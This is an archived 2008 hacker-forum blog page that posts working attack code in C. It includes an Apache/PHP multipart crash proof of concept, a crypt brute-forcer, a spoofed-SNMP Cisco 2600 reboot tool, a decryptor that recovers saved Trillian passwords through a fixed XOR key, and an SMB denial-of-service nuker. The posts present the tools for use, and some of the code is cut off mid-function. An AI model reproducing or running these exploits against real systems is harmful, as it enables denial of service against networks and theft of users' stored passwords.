Hacker Forums

Archive for September, 2008

POC: Crashing Apache 1.3.x with PHP

by The Uni-Hacker on Sep.30, 2008, under Security

Apache & PHP Proof of Concept Exploit

Summary
This is a proof of concept exploit for Apache/1.3.x + php_4.0.6. This code exploit multipart/form-data POST requests bug. This code only crashes the Apache daemon; it does not open any shell or execute code in the remote server. PHP supports multipart/form-data POST requests (as described in RFC1867) known as POST fileuploads. Unfortunately there are several flaws in the php_mime_split function that could be used by an attacker to execute arbitrary code.

Details
Example:
$ ./apache_php host 80 hi.php
$ cat /www/logs/error_log

[Sun Mar 3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation fault (11)

Exploit code:

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  #define MAX 1000
  #define PORT 80

  char *str_replace(char *rep, char *orig, char *string)
  {
  int len=strlen(orig);
  char buf[MAX]="";
  char *pt=strstr(string,orig);

  strncpy(buf,string, pt-string );
  strcat(buf,rep);
  strcat(buf,pt+strlen(orig));
  strcpy(string,buf);
  return string;
  }

  int main(int argc,char *argv[MAX])
  {
  int sockfd;
  int numbytes;
  int port;
  char *ptr;

  char POST_REQUEST[MAX] =
  "POST ##file HTTP/1.0\n"
  "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
  "Connection: Keep-Alive\nContent-type: multipart/for"
  "m-data; boundary=---------------------------1354088"
  "10612827886801697150081\nContent-Length: 567\n\n---"
  "--------------------------1354088106128278868016971"
  "50081\nContent-Disposition: form-data; name=\"\x8\"";

  struct hostent *he;
  struct sockaddr_in their_addr;

  if(argc!=4)
  {
  fprintf(stderr,"usage:%s 

\n",argv[0]);
  exit(1);
  }

  port=atoi(argv[2]);
  ptr=str_replace(argv[3],"##file",POST_REQUEST);
  //ptr=POST_REQUEST;

  if((he=gethostbyname(argv[1]))==NULL)
  {
  perror("gethostbyname");
  exit(1);
  }

  if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
  perror("socket"); exit(1);
  }

  their_addr.sin_family=AF_INET;
  their_addr.sin_port=htons(port);
  their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  bzero(&(their_addr.sin_zero),8);

  if( connect(sockfd,(struct sockaddr*)&their_addr,\
  sizeof(struct sockaddr))==-1)
  {
  perror("connect");
  exit(1);
  }

  if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
  {
  perror("send");
  exit(0);
  }

  close(sockfd);

  return 0;
  }
Leave a Comment : more...

Another brute force c++ script.

by The Uni-Hacker on Sep.30, 2008, under Misc

#include 

// this program uses brute force hacking to decrypt a file
// encrypted using the standard "crypt" command in UNIX. It
// assumes that the key is a 4 ASCII character key which
// contains only characters a to z and numbers 0 to 9. The
// decrypted file is stored in temp.txt each time and if the
// first 3 characters match [a-z0-9] then its stored in the
// file named decryptedfile%key%.txt, where %key% is the key
// used for that particular decryption.
int main(int argc, char *argv[])	{
	if(argc!=2)	{
		printf("Usage: BruteForceHacker encrypted_filename");
		exit(1);
	}
	int i,j,k,l,w,x,y,z;
	int keybase[36];	// contains the characters a-z and numbers 0-9
	for(i=0;i<26;i++)
		keybase[i] = i+97;
	for(i=26;i<36;i++)
		keybase[i] = i+22;

	char command[50], key[5];	// command contains the crypt command each time around
								// key contains the key each time around

	// looping which takes care of all possible combinations of characters in the keybase
	for(w=0;w<36;w++)
	  for(x=0;x<36;x++)
	    for(y=0;y<36;y++)
	      for(z=0;z<36;z++)	{
		key[0] = keybase[w];
		key[1] = keybase[x];
		key[2] = keybase[y];
		key[3] = keybase[z];
		key[4] = '\0';
		printf("%s\n",key);
		sprintf(command,"crypt %s < %s > temp.txt",key,argv[1]);
		//printf("%s\n",command);
		system(command);	// the decrypted characters are placed in temp.txt

		// reading the decrypted file
		char decryptedtext[1000];
		char onechar[1];
		int dtptr = 0;

		FILE *fp;
		fp = fopen("temp.txt","r");
		while(1)	{
			if(fread(onechar,1,1,fp)==0)
				break;
			decryptedtext[dtptr++] = onechar[0];
		}
		fclose(fp);

		int flag;
		// checking whether the first 3 characters of the decrypted file contains english characters only
		for(i=0;i<3;i++)	{
			flag = 0;
			for(j=0;j<36;j++)	{
				if(decryptedtext[i]==keybase[j] || decryptedtext[i]==' ')	{
					flag = 1;
					break;
				}
			}
			if(flag==0)	{
				flag = 2;
				break;
			}
		}
		if(flag!=2)	{// there was no mismatch
			printf("\n\ngotcha!\t\t%s\n",key);
			char movecommand[40];
			// store the possible decrypted file in decryptedfile%key%.txt
			sprintf(movecommand,"mv temp.txt decryptedfile%s.txt",key);
			system(movecommand);
		}
	      }
}
Leave a Comment : more...

Reboot Cisco 2600 routers

by The Uni-Hacker on Sep.30, 2008, under Misc

Using this code you could remotely reboot a Cisco 2600 router.

  /* This program send a spoofed snmpv1 get request that cause system reboot
     on Cisco 2600 routers with IOS version 12.0(10) 

     Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  struct in_addr sourceip_addr;
  struct in_addr destip_addr;
  struct sockaddr_in dest;

  struct ip *IP;
  struct udphdr *UDP;
  int p_number=1,sok,datasize,i=0; 

  char *packet,*source,*target;
  char *packetck;
  char *data,c;

  char snmpkill[] =
    "\x30\x81\xaf\x02\x01\x00\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x81"
    "\xa1\x02\x02\x09\x28\x02\x01\x00\x02\x01\x00\x30\x81\x94\x30\x81"
    "\x91\x06\x81\x8c\x4d\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
    "\x25\x73\x25\x73\x25\x73\x81\xff\xff\xff\xff\xff\xff\xff\xff\x7f"
    "\x05";

  struct pseudoudp {
  u_long ipsource;
  u_long ipdest;
  char zero;
  char proto;
  u_short length;
  } *psudp;

  in_cksum (unsigned short *ptr, int nbytes)
  {

    register long sum; /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer; /* assumes u_short == 16 bits */

    /*
     * Our algorithm is simple, using a 32-bit accumulator (sum),
     * we add sequential 16-bit words to it, and at the end, fold back
     * all the carry bits from the top 16 bits into the lower 16 bits.
     */

    sum = 0;
    while (nbytes > 1)
      {
        sum += *ptr++;
        nbytes -= 2;
      }

    /* mop up an odd byte, if necessary */
    if (nbytes == 1)
      {
        oddbyte = 0; /* make sure top half is zero */
        *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
        sum += oddbyte;
      }

    /*
     * Add back carry outs from top 16 bits to low 16 bits.
     */

    sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
    sum += (sum >> 16); /* add carry */
    answer = ~sum; /* ones-complement, then truncate to 16 bits */
    return (answer);
  }

  void usage (void)
  {
  printf("Kundera CiscoKill v1.0\n");
  printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n");
  }

  int main(int argc,char **argv){

  if (argc < 2){
  usage();
  exit(1);
  }

  while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
    switch(c) {
     case 's': source=optarg; break;
     case 'n': p_number=atoi(optarg); break;
     case 't': target=optarg;
     }
  }

  if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  {
    printf("Can't create socket.\n");
          exit(EXIT_FAILURE);
  }

  destip_addr.s_addr=inet_addr(target);
  sourceip_addr.s_addr=inet_addr(source);

  datasize=sizeof(snmpkill);

  packet = ( char * )malloc( 20 + 8 + datasize );

  IP = (struct ip *)packet; 

  memset(packet,0,sizeof(packet)); 

          IP->ip_dst.s_addr = destip_addr.s_addr;
          IP->ip_src.s_addr = sourceip_addr.s_addr;
          IP->ip_v = 4;
          IP->ip_hl = 5;
          IP->ip_ttl = 245;
          IP->ip_id = htons(666);
          IP->ip_p = 17;
          IP->ip_len = htons(20 + 8 + datasize);
          IP->ip_sum = in_cksum((u_short *)packet,20);

  UDP = (struct udphdr *)(packet+20);
        UDP->source = htons(666);
        UDP->dest = htons(161);
        UDP->len = htons(8+datasize);
        UDP->check = 0;
        packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
        bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
        psudp = (struct pseudoudp *) (packetck);
        psudp->ipdest = destip_addr.s_addr;
        psudp->ipsource = sourceip_addr.s_addr;
        psudp->zero = 0;
        psudp->proto = 17;
        psudp->length = htons(8+datasize);
        memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
        memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);

        UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp)); 

  data = (unsigned char *)(packet+20+8);
  memcpy(data,snmpkill,datasize); 

  dest.sin_family=AF_INET;
  dest.sin_addr.s_addr=destip_addr.s_addr; 

  while (i

Leave a Comment : more...


CPP: Cracking the Trillian INI file.

by The Uni-Hacker on Sep.30, 2008, under Programming

Crack the Trillian INI file.

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 * 	Software: 	Trillian 0.73, possibly others.
 *	Issue:		Weak "encryption" of saved passwords.
 *	Impact:		Decryption of saved passwords.
 *	Severity:	Medium. ish. The program only works locally, and only
 *			if the subject has saved their password, and really
 *			if someone can get into your AIM account, how earth-
 *			shattering is that??? However, since a lot of people
 *			use the same password for everything... What's easier,
 *			getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include 
#include 
#include 

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
	char username[64];
	char cyphertext[64];
	char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =		"\xF3\x26\x81\xC4"
			"\x39\x86\xDB\x92"
			"\x71\xA3\xB9\xE6"
			"\x53\x7A\x95\x7C";

void toupper(char* string)
{
	short int x = 0;
	for ( x = 0 ; x < (strlen(string)) ; x++ )
	{
		if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
			string[x] -= 32;
	}
}

int strlen(const char *s)
{
	short int n = 0;
	while ( s[n] != 0 )
		n++;
	return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
	short int x;

	if ( strlen(needle) > strlen(haystack) )
		return FALSE;

	for ( x = 0 ; x < strlen(needle) ; x++ )
	{
		if ( needle[x] != haystack[x] )
			return FALSE;
	}

	return TRUE;
}

int strIs(const char *subj, const char *eq)
{
	short int x;

	if ( strlen(subj) != strlen(eq) )
		return FALSE;
	for ( x = 0 ; x < strlen(subj) ; x++ )
	{
		if ( subj[x] != eq[x] )
			return FALSE;
	}

	return TRUE;
}

void extractAcctounts(FILE *fp)
{
	char buff[256], *ptr;
	int x;
	while ( !feof(fp) )
	{
		fgets(buff, 255, fp);
		if ( strBeginsWith("name=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
			if ( pAccounts[nAccounts] == NULL )
			{
				perror("Failed to malloc()");
				exit(errno);
			}
			ptr = pAccounts[nAccounts]->username;
			for ( x = 5 ; x < strlen(buff) ; x++ )
			{
				ptr[x-5] = buff[x];
			}
			ptr[x-5] = 0;
			nAccounts++;
		}
		if ( strBeginsWith("password=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			ptr = pAccounts[nAccounts-1]->cyphertext;
			for ( x = 9 ; x < strlen(buff) ; x++ )
			{
				ptr[x-9] = buff[x];
			}
			ptr[x-9] = 0;
		}
	}
}

char *hex2str(char *string)
{
	int x=0,n=0,i=0;
	unsigned char hex[2];
	unsigned char *out;
	out = (unsigned char*)malloc((strlen(string)/2)+1);
	if ( out == NULL )
	{
		perror("Failed to malloc()");
		exit(errno);
	}

	// For hex number...
	for ( x = 0 ; x < strlen(string) ; x+=2 )
	{
		out[i] = 0;
		// Convert ASCII 0-F to decimal.
		hex[0] = string[x]-48;
		hex[1] = string[x+1]-48;
		for ( n = 0 ; n < 2 ; n++ )
		{
			if ( hex[n] > 9 )
				hex[n] -= 7;
		}
		out[i++] = (hex[0]*16)+hex[1];
	}
	out[i++] = 0;
	return out;
}

void decrypt()
{
	int n, x;
	char *plain, *cypher;

	for ( x = 0 ; x < nAccounts ; x++ )
	{
		cypher = hex2str(pAccounts[x]->cyphertext);
		plain  = pAccounts[x]->plaintext;

		for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
		{
			plain[n] = cypher[n] ^ key[n];
		}
	}
}

void outPasswds()
{
	int x;
	printf(
		"/----------------------------\\\n"
		"| trillian-ini-decrypt       |\n"
		"| By The Coeus Group         |\n"
		"| http://www.coeus-group.com |\n"
		"\\----------------------------/\n");
	printf("Found %d accounts.\n\n", nAccounts);
	for ( x = 0 ; x < nAccounts ; x++ )
	{
		printf(	"Username:           : %s\n"
			"Password (encrypted): %s\n"
			"Password (decrypted): %s\n\n",
			pAccounts[x]->username,
			pAccounts[x]->cyphertext,
			pAccounts[x]->plaintext
		);
	}
}

void printhelp()
{
	printf(	"Just put the path to Trillian INI file as command-line\n"
		"parameter. Don't forget to quote as needed. Will accept\n"
		"multiple files.\n");
	exit(0);
}

int main(int argc, char *argv[])
{
	short int x;
	FILE *fp;

	if ( ( argc < 2 ) ) { printhelp(); }
	if (	( strIs(argv[1],     "-h") )	|
		( strIs(argv[1], "--help") )	|
		( strIs(argv[1],     "/?") )
	) printhelp();

	for ( x = 1 ; x < argc ; x++ )
	{
		fp = fopen(argv[x], "r");
		if ( fp == NULL )
		{
			perror("Error");
			exit(errno);
		}
		extractAcctounts(fp);
	}

	decrypt();
	outPasswds();

	return 0;
}
Leave a Comment : more...

Linux: Crash Windows SMB Shares

by The Uni-Hacker on Sep.30, 2008, under Security

This “c” code will help you build a script that can crash Windows Shares. Use at your own risk!

/*
 *   smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept
 *   Copyright (C) 2002  Frederic Deletang (df@phear.org)
 *
 *   This program is free software; you can redistribute it and/or
 *   modify it under the terms of the GNU General Public License
 *   as published by the Free Software Foundation; either version 2 of
 *   the License or (at your option) any later version.
 *
 *   This program is distributed in the hope that it will be
 *   useful, but WITHOUT ANY WARRANTY; without even the implied warranty
 *   of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *   GNU General Public License for more details.
 *
 *   You should have received a copy of the GNU General Public License
 *   along with this program; if not, write to the Free Software
 *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 *   USA
 */

/* NOTE:
 * Compile this program using only GCC and no other compilers
 * (except if you think this one supports the __attribute__ (( packed )) attribute)
 * This program might not work on big-endian systems.
 * It has been successfully tested from the following plateforms:
 * 	- Linux 2.4.18 / i686
 * 	- FreeBSD 4.6.1-RELEASE-p10 / i386
 * Don't bother me if you can't get it to compile or work on Solaris using the SunWS compiler.
 *
 * Another thing: The word counts are hardcoded, careful if you hack the sources.
 */

/* Copyright notice:
 * some parts of this source (only two functions, name_len and name_mangle)
 * has been taken from libsmb.  The rest, especially the structures has
 * been written by me.
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SESSION_REQUEST 0x81

#define SESSION_MESSAGE 0x00

#define SMB_NEGOTIATE_PROTOCOL 0x72
#define SMB_SESSION_SETUP_ANDX 0x73
#define SMB_TREE_CONNECT_ANDX 0x75
#define SMB_COM_TRANSACTION 0x25

#define bswap16(x) \
	((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))

typedef struct
{
  unsigned char server_component[4];
  unsigned char command;
  unsigned char error_class;
  unsigned char reserved1;
  uint16_t error_code;
  uint8_t flags;
  uint16_t flags2;
  unsigned char reserved2[12];
  uint16_t tree_id;
  uint16_t proc_id;
  uint16_t user_id;
  uint16_t mpex_id;
}
__attribute__ ((packed)) smb_header;

typedef struct
{
  unsigned char type;
  unsigned char flags;
  unsigned short length;
  unsigned char called[34];
  unsigned char calling[34];
}
__attribute__ ((packed)) nbt_packet;

typedef struct
{
  /* wct: word count */
  uint8_t wct;
  unsigned char andx_command;
  unsigned char reserved1;
  uint16_t andx_offset;
  uint16_t max_buffer;
  uint16_t max_mpx_count;
  uint16_t vc_number;
  uint32_t session_key;
  uint16_t ANSI_pwlen;
  uint16_t UNI_pwlen;
  unsigned char reserved2[4];
  uint32_t capabilities;
  /* bcc: byte count */
  uint16_t bcc;
}
__attribute__ ((packed)) session_setup_andx_request;

typedef struct
{
  /* wct: word count */
  uint8_t wct;
  unsigned char andx_command;
  unsigned char reserved1;
  uint16_t andx_offset;
  uint16_t flags;
  uint16_t pwlen;
  uint16_t bcc;
}
__attribute__ ((packed)) tree_connect_andx_request;

typedef struct
{
  /* wct: word count */
  uint8_t wct;
  uint16_t total_param_cnt;
  uint16_t total_data_cnt;
  uint16_t max_param_cnt;
  uint16_t max_data_cnt;
  uint8_t max_setup_cnt;
  unsigned char reserved1;
  uint16_t flags;
  uint32_t timeout;
  uint16_t reserved2;
  uint16_t param_cnt;
  uint16_t param_offset;
  uint16_t data_cnt;
  uint16_t data_offset;
  uint8_t setup_count;
  uint8_t reserved3;
  /* bcc: byte count */
  uint16_t bcc;
}
__attribute__ ((packed)) transaction_request;

typedef struct
{
  uint16_t function_code;
  unsigned char param_descriptor[6];
  unsigned char return_descriptor[7];
  uint16_t detail_level;
  uint16_t recv_buffer_len;
}
__attribute__ ((packed)) parameters;

typedef struct
{
  uint8_t format;
  unsigned char *name;
}
t_dialects;

t_dialects dialects[] = {
  {2, "PC NETWORK PROGRAM 1.0"},
  {2, "MICROSOFT NETWORKS 1.03"},
  {2, "MICROSOFT NETWORKS 3.0"},
  {2, "LANMAN1.0"},
  {2, "LM1.2X002"},
  {2, "Samba"},
  {2, "NT LM 0.12"},
  {2, "NT LANMAN 1.0"},
  {0, NULL}
};

enum
{
  STATE_REQUESTING_SESSION_SETUP = 1,
  STATE_NEGOTIATING_PROTOCOL,
  STATE_REQUESTING_SESSION_SETUP_ANDX,
  STATE_REQUESTING_TREE_CONNECT_ANDX,
  STATE_REQUESTING_TRANSACTION
}
status;

const unsigned char *global_scope = NULL;

/****************************************************************************
 * return the total storage length of a mangled name - from smbclient
 *
 ****************************************************************************/

int
name_len (char *s1)
{
  /* NOTE: this argument _must_ be unsigned */
  unsigned char *s = (unsigned char *) s1;
  int len;

  /* If the two high bits of the byte are set, return 2. */
  if (0xC0 == (*s & 0xC0))
    return (2);

  /* Add up the length bytes. */
  for (len = 1; (*s); s += (*s) + 1)
    {
      len += *s + 1;
      assert (len < 80);
    }

  return (len);
}                               /* name_len */

/****************************************************************************
 * mangle a name into netbios format - from smbclient
 *  Note:   must be (33 + strlen(scope) + 2) bytes long, at minimum.
 *
 ****************************************************************************/

int
name_mangle (char *In, char *Out, char name_type)
{
  int i;
  int c;
  int len;
  char buf[20];
  char *p = Out;

  /* Safely copy the input string, In, into buf[]. */
  (void) memset (buf, 0, 20);
  if (strcmp (In, "*") == 0)
    buf[0] = '*';
  else
    (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type);

  /* Place the length of the first field into the output buffer. */
  p[0] = 32;
  p++;

  /* Now convert the name to the rfc1001/1002 format. */
  for (i = 0; i < 16; i++)
    {
      c = toupper (buf[i]);
      p[i * 2] = ((c >> 4) & 0x000F) + 'A';
      p[(i * 2) + 1] = (c & 0x000F) + 'A';
    }
  p += 32;
  p[0] = '\0';

  /* Add the scope string. */
  for (i = 0, len = 0; NULL != global_scope; i++, len++)
    {
      switch (global_scope[i])
        {
        case '\0':
          p[0] = len;
          if (len > 0)
            p[len + 1] = 0;
          return (name_len (Out));
        case '.':
          p[0] = len;
          p += (len + 1);
          len = -1;
          break;
        default:
          p[len + 1] = global_scope[i];
          break;
        }
    }

  return (name_len (Out));

}

int
tcp_connect (const char *rhost, unsigned short port)
{
  struct sockaddr_in dest;
  struct hostent *host;
  int fd;

  host = gethostbyname (rhost);
  if (host == NULL)
    {
      fprintf (stderr, "Could not resolve host: %s\n", rhost);
      return -1;
    }

  dest.sin_family = AF_INET;
  dest.sin_addr.s_addr = *(long *) (host->h_addr);
  dest.sin_port = htons (port);

  fd = socket (AF_INET, SOCK_STREAM, 0);

  if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0)
    {
      fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port,
               strerror (errno));
      return -1;
    }

  return fd;
}

void
build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags,
                  uint16_t flags2, uint16_t tree_id, uint16_t proc_id,
                  uint16_t user_id, uint16_t mpex_id)
{
  memset (hdr, 0, sizeof (smb_header));

  /* SMB Header MAGIC. */
  hdr->server_component[0] = 0xff;
  hdr->server_component[1] = 'S';
  hdr->server_component[2] = 'M';
  hdr->server_component[3] = 'B';

  hdr->command = command;

  hdr->flags = flags;
  hdr->flags2 = flags2;

  hdr->tree_id = tree_id;
  hdr->proc_id = proc_id;
  hdr->user_id = user_id;
  hdr->mpex_id = mpex_id;
}

unsigned char *
push_string (unsigned char *stack, unsigned char *string)
{
  strcpy (stack, string);
  return stack + strlen (stack) + 1;
}

void
request_session_setup (int fd, char *netbios_name)
{
  nbt_packet pkt;

  pkt.type = SESSION_REQUEST;
  pkt.flags = 0x00;
  pkt.length = bswap16 (sizeof (nbt_packet));
  name_mangle (netbios_name, pkt.called, 0x20);
  name_mangle ("", pkt.calling, 0x00);
  write (fd, &pkt, sizeof (nbt_packet));

}

void
negotiate_protocol (unsigned char *buffer, int fd)
{
  smb_header hdr;
  unsigned char *p;
  uint16_t proc_id, mpex_id;
  int i;

  proc_id = (uint16_t) rand ();
  mpex_id = (uint16_t) rand ();

  buffer[0] = SESSION_MESSAGE;
  buffer[1] = 0x0;

  build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0,
                    mpex_id);

  memcpy (buffer + 4, &hdr, sizeof (smb_header));

  p = buffer + 4 + sizeof (smb_header) + 3;

  for (i = 0; dialects[i].name != NULL; i++)
    {
      *p = dialects[i].format;
      strcpy (p + 1, dialects[i].name);
      p += strlen (dialects[i].name) + 2;
    }

  /* Set the word count */
  *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0;

  /* Set the byte count */
  *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) =
    (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3);

  *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4));

  write (fd, buffer, p - buffer);

}

void
request_session_setup_andx (unsigned char *buffer, int fd)
{
  smb_header hdr;
  session_setup_andx_request ssar;
  uint16_t proc_id, mpex_id;
  unsigned char *p;

  proc_id = (uint16_t) rand ();
  mpex_id = (uint16_t) rand ();

  build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0, proc_id, 0,
                    mpex_id);

  buffer[0] = SESSION_MESSAGE;
  buffer[1] = 0x0;

  memcpy (buffer + 4, &hdr, sizeof (smb_header));

  p = buffer + 4 + sizeof (smb_header);

  memset (&ssar, 0, sizeof (session_setup_andx_request));
  ssar.wct = 13;
  ssar.andx_command = 0xff;     /* No further commands */
  ssar.max_buffer = 65535;
  ssar.max_mpx_count = 2;
  ssar.vc_number = 1025;

  ssar.ANSI_pwlen = 1;

  p = buffer + 4 + sizeof (smb_header) + sizeof (session_setup_andx_request);

  /* Ansi password */
  p = push_string (p, "");

  /* Account */
  p = push_string (p, "");

  /* Primary domain */
  p = push_string (p, "WORKGROUP");

  /* Native OS */
  p = push_string (p, "Unix");

  /* Native Lan Manager */
  p = push_string (p, "Samba");

  ssar.bcc =
    p - buffer - 4 - sizeof (smb_header) -
    sizeof (session_setup_andx_request);

  memcpy (buffer + 4 + sizeof (smb_header), &ssar,
          sizeof (session_setup_andx_request));

  /* Another byte count */
  *(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)
             (sizeof (session_setup_andx_request) + sizeof (smb_header) +
              ssar.bcc));

  write (fd, buffer,
         sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 +
         ssar.bcc);
}

void
request_tree_connect_andx (unsigned char *buffer, int fd,
                           const char *netbios_name)
{
  smb_header hdr;
  tree_connect_andx_request tcar;
  uint16_t proc_id, user_id;
  unsigned char *p, *q;

  proc_id = (uint16_t) rand ();
  user_id = ((smb_header *) (buffer + 4))->user_id;

  build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id,
                    user_id, 0);

  buffer[0] = SESSION_MESSAGE;
  buffer[1] = 0x0;

  memcpy (buffer + 4, &hdr, sizeof (smb_header));

  memset (&tcar, 0, sizeof (tree_connect_andx_request));

  tcar.wct = 4;
  tcar.andx_command = 0xff;     /* No further commands */
  tcar.pwlen = 1;

  p = buffer + 4 + sizeof (smb_header) + sizeof (tree_connect_andx_request);

  /* Password */
  p = push_string (p, "");

  /* Path */
  q = malloc (8 + strlen (netbios_name));

  sprintf (q, "\\\\%s\\IPC$", netbios_name);
  p = push_string (p, q);

  free (q);

  /* Service */
  p = push_string (p, "IPC");

  tcar.bcc =
    p - buffer - 4 - sizeof (smb_header) - sizeof (tree_connect_andx_request);

  memcpy (buffer + 4 + sizeof (smb_header), &tcar,
          sizeof (tree_connect_andx_request));

  /* Another byte count */
  *(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)
             (sizeof (tree_connect_andx_request) + sizeof (smb_header) +
              tcar.bcc));

  write (fd, buffer,
         sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 +
         tcar.bcc);
}

void
request_transaction (unsigned char *buffer, int fd)
{
  smb_header hdr;
  transaction_request transaction;
  parameters params;
  uint16_t proc_id, tree_id, user_id;
  unsigned char *p;

  proc_id = (uint16_t) rand ();
  tree_id = ((smb_header *) (buffer + 4))->tree_id;
  user_id = ((smb_header *) (buffer + 4))->user_id;

  build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id,
                    user_id, 0);

  buffer[0] = SESSION_MESSAGE;
  buffer[1] = 0x0;

  memcpy (buffer + 4, &hdr, sizeof (smb_header));

  memset (&transaction, 0, sizeof (transaction_request));

  transaction.wct = 14;
  transaction.total_param_cnt = 19; /* Total lenght of parameters */
  transaction.param_cnt = 19; /* Lenght of parameter */

  p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request);

  /* Transaction name */
  p = push_string (p, "\\PIPE\\LANMAN");

  transaction.param_offset = p - buffer - 4;

  params.function_code = (uint16_t) 0x68;       /* NetServerEnum2 */
  strcpy (params.param_descriptor, "WrLeh");    /* RAP_NetGroupEnum_REQ  */
  strcpy (params.return_descriptor, "B13BWz");  /* RAP_SHARE_INFO_L1 */
  params.detail_level = 1;
  params.recv_buffer_len = 50000;

  memcpy (p, &params, sizeof (parameters));

  p += transaction.param_cnt;

  transaction.data_offset = p - buffer - 4;

  transaction.bcc =
    p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request);

  memcpy (buffer + 4 + sizeof (smb_header), &transaction,
          sizeof (transaction_request));

  /* Another byte count */
  *(uint16_t *) (buffer + 2) =
    bswap16 ((uint16_t)
             (sizeof (transaction_request) + sizeof (smb_header) +
              transaction.bcc));

  write (fd, buffer,
         sizeof (transaction_request) + sizeof (smb_header) + 4 +
         transaction.bcc);
}

typedef struct
{
  uint16_t transaction_id;
  uint16_t flags;
  uint16_t questions;
  uint16_t answerRRs;
  uint16_t authorityRRs;
  uint16_t additionalRRs;

  unsigned char query[32];
  uint16_t name;
  uint16_t type;
  uint16_t class;
}
__attribute__ ((packed)) nbt_name_query;

typedef struct
{
  nbt_name_query answer;
  uint32_t ttl;
  uint16_t datalen;
  uint8_t names;
}
__attribute__ ((packed)) nbt_name_query_answer;

char *
list_netbios_names (unsigned char *buffer, size_t size, const char *rhost,
                    unsigned short port, unsigned int timeout)
{
  nbt_name_query query;
  struct sockaddr_in dest;
  struct hostent *host;
  int fd, i;

  fd_set rfds;
  struct timeval tv;

  printf ("Trying to list netbios names on %s\n", rhost);

  host = gethostbyname (rhost);
  if (host == NULL)
    {
      fprintf (stderr, "Could not resolve host: %s\n", rhost);
      return NULL;
    }

